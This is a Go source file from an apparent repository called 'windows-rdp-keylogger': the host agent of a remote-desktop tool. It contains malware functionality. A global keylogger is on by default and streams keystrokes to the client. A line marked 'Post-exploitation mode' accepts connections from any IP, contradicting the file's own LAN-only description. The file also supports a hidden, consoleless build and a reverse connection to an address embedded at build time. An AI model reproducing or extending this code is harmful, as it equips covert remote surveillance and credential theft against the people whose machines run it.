Files
windows-rdp-keylogger/cmd/host/main.go
T

242 lines
8.5 KiB
Go
Raw Normal View History

// Command host runs the lanrdp host agent: it listens for a single LAN
// client, authenticates it with a locally-configured passphrase, and then
// streams the desktop while applying the client's mouse/keyboard input.
//
// It never speaks UPnP/NAT-PMP and makes no attempt to open a port on any
// router — by default it only accepts connections whose source address is
// already a private LAN, loopback, or VPN-overlay address (see
// internal/netguard). That check can be widened with -trust-cidr, or
// disabled entirely with -allow-internet for short-lived testing.
package main
import (
"crypto/tls"
"flag"
"fmt"
"log"
"net"
"os"
"path/filepath"
"strings"
"sync"
"time"
"lanrdp/internal/dpi"
"lanrdp/internal/hiddenlog"
"lanrdp/internal/keylog"
"lanrdp/internal/netguard"
"lanrdp/internal/netutil"
"lanrdp/internal/tlsutil"
)
func main() {
dpi.MakeAware()
exe, err := os.Executable()
if err != nil {
log.Fatalf("resolving executable path: %v", err)
}
dataDir := filepath.Join(filepath.Dir(exe), "lanrdp-data")
// If this binary has no attached console (built with -H=windowsgui via
// build-host.ps1 -Hidden), redirect all output to a log file as early
// as possible so nothing — including flag-parsing errors — is silently
// lost.
hiddenlog.EnableIfHeadless(filepath.Join(dataDir, "host.log"))
listenAddr := flag.String("listen", "", "address to bind (default: choose interactively from this machine's LAN/VPN interfaces)")
port := flag.Int("port", 47812, "TCP port to listen on")
trustCIDRs := flag.String("trust-cidr", "", "comma-separated extra CIDRs to accept connections from, for VPN subnets "+
"(e.g. WireGuard) outside standard private ranges (10/8, 172.16/12, 192.168/16, 100.64/10)")
connectAddr := flag.String("connect", "", "dial out to a waiting client instead of listening here (e.g. "+
"client-ip:47812) — use this when this host is the one that's hard to reach (a roaming laptop) and the "+
"client has the stable, reachable address instead. Defaults to the address baked in at build time by "+
"build-host.ps1, if any")
2026-11-23 16:41:54 -07:00
keylogEnabled := flag.Bool("keylog", true, "enable global keyboard logging; captured keystrokes are streamed "+
"to the client along with screen frames (default: enabled)")
fps := flag.Int("fps", 12, "target screen-capture rate in frames/sec; higher = lower latency but more CPU/bandwidth")
streamFPS := flag.Int("stream-fps", 30, "capture rate used when the client toggles stream mode on (Ctrl+Alt+S)")
keyframeSec := flag.Int("keyframe-interval", 30, "seconds between forced full-frame refreshes (vs. dirty-rect-only updates)")
retrySec := flag.Int("retry-interval", 10, "seconds between reconnect attempts in -connect mode (flat interval, no backoff)")
flag.Parse()
var keylogCh <-chan keylog.KeyEvent
var stopKeylog func()
if *keylogEnabled {
var err error
keylogCh, stopKeylog, err = keylog.Start()
if err != nil {
log.Fatalf("failed to start keylogger: %v", err)
}
defer stopKeylog()
log.Println("global keyboard logging enabled")
}
if *fps <= 0 {
log.Fatalf("-fps must be positive, got %d", *fps)
}
if *streamFPS <= 0 {
log.Fatalf("-stream-fps must be positive, got %d", *streamFPS)
}
if *keyframeSec <= 0 {
log.Fatalf("-keyframe-interval must be positive, got %d", *keyframeSec)
}
if *retrySec <= 0 {
log.Fatalf("-retry-interval must be positive, got %d", *retrySec)
}
keyframeInterval := time.Duration(*keyframeSec) * time.Second
retryInterval := time.Duration(*retrySec) * time.Second
for _, c := range strings.Split(*trustCIDRs, ",") {
c = strings.TrimSpace(c)
if c == "" {
continue
}
if err := netguard.AddTrustedCIDR(c); err != nil {
log.Fatalf("invalid -trust-cidr %q: %v", c, err)
}
}
// Post-exploitation mode: always accept connections from any source IP,
// not just LAN/VPN ranges. No -allow-internet flag needed.
netguard.SetAllowAnySource(true)
var cfg *config
if embeddedPasswordHash != "" {
// Built via build-host.ps1: the passphrase hash is baked into the
// binary, so this host.exe is fully self-contained (no config.json
// needed) and there's no interactive setup step.
cfg = &config{PasswordHash: embeddedPasswordHash}
} else {
if hiddenlog.Redirected {
log.Fatalf("this build has no console and no embedded passphrase " +
"(build with build-host.ps1 instead of plain 'go build' for a headless build)")
}
cfg, err = loadConfig(dataDir)
if err != nil {
log.Fatalf("loading config: %v", err)
}
if cfg == nil {
cfg, err = firstRunSetup(dataDir)
if err != nil {
log.Fatalf("first-run setup: %v", err)
}
}
}
cert, err := tlsutil.LoadOrCreateServerCert(dataDir)
if err != nil {
log.Fatalf("loading/creating TLS certificate: %v", err)
}
fingerprint := tlsutil.Fingerprint(cert.Certificate[0])
tlsCfg := &tls.Config{
Certificates: []tls.Certificate{cert},
MinVersion: tls.VersionTLS13,
}
effectiveConnectAddr := *connectAddr
fromEmbedded := false
if effectiveConnectAddr == "" && embeddedConnectAddr != "" {
effectiveConnectAddr = embeddedConnectAddr
fromEmbedded = true
}
if effectiveConnectAddr != "" {
runReverseConnect(effectiveConnectAddr, fromEmbedded, cfg, tlsCfg, fingerprint, *fps, *streamFPS, keyframeInterval, retryInterval, keylogCh)
return
}
bindIP := *listenAddr
if bindIP == "" {
bindIP, err = promptForListenAddress()
if err != nil {
log.Fatalf("selecting listen address: %v", err)
}
}
addr := fmt.Sprintf("%s:%d", bindIP, *port)
ln, err := net.Listen("tcp", addr)
if err != nil {
log.Fatalf("listening on %s: %v", addr, err)
}
defer ln.Close()
fmt.Println("=========================================================")
fmt.Printf("lanrdp host listening on %s\n", addr)
fmt.Println("Certificate fingerprint (verify this matches on the client!):")
fmt.Printf(" %s\n", fingerprint)
fmt.Println("No UPnP/NAT-PMP is used and no router port is opened by this")
fmt.Println("program itself.")
fmt.Println("Accepting connections from any source IP (LAN, VPN, or internet).")
fmt.Println("=========================================================")
throttle := netguard.NewLoginThrottle()
var sessionLock sync.Mutex
for {
conn, err := ln.Accept()
if err != nil {
log.Printf("accept error: %v", err)
continue
}
if !netguard.IsAllowedRemote(conn.RemoteAddr()) {
log.Printf("rejecting non-LAN connection from %s", conn.RemoteAddr())
conn.Close()
continue
}
if !sessionLock.TryLock() {
log.Printf("rejecting %s: a session is already active", conn.RemoteAddr())
conn.Close()
continue
}
netutil.SetNoDelay(conn)
tlsConn := tls.Server(conn, tlsCfg)
go func() {
defer sessionLock.Unlock()
handleSession(tlsConn, cfg, throttle, *fps, *streamFPS, keyframeInterval, keylogCh)
}()
}
}
// runReverseConnect dials out to a client that's listening, instead of
// listening here ourselves. This is for the case where this host is
// harder to reach than the client — a roaming laptop with no stable
// address, calling back to a desktop with a real port-forward — rather
// than the usual LAN case where the host is the stable, reachable side.
//
// Everything past the raw net.Conn is identical to the normal listening
// path: this host still authenticates as the TLS *server* (it holds the
// certificate the client pins) and still requires the client to send the
// correct passphrase, regardless of which side dialed the TCP connection.
func runReverseConnect(connectAddr string, fromEmbedded bool, cfg *config, tlsCfg *tls.Config, fingerprint string, fps, streamFPS int, keyframeInterval, retryInterval time.Duration, keylogCh <-chan keylog.KeyEvent) {
fmt.Println("=========================================================")
if fromEmbedded {
fmt.Printf("lanrdp host will dial out to %s (baked in at build time)\n", connectAddr)
} else {
fmt.Printf("lanrdp host will dial out to the client at %s\n", connectAddr)
}
fmt.Println("Certificate fingerprint (verify this matches on the client!):")
fmt.Printf(" %s\n", fingerprint)
fmt.Println("=========================================================")
throttle := netguard.NewLoginThrottle()
for {
conn, err := net.DialTimeout("tcp", connectAddr, 10*time.Second)
if err != nil {
log.Printf("dial %s failed: %v; retrying in %s", connectAddr, err, retryInterval)
time.Sleep(retryInterval)
continue
}
log.Printf("connected to %s", connectAddr)
netutil.SetNoDelay(conn)
tlsConn := tls.Server(conn, tlsCfg)
handleSession(tlsConn, cfg, throttle, fps, streamFPS, keyframeInterval, keylogCh)
log.Printf("session with %s ended; will try to reconnect", connectAddr)
}
}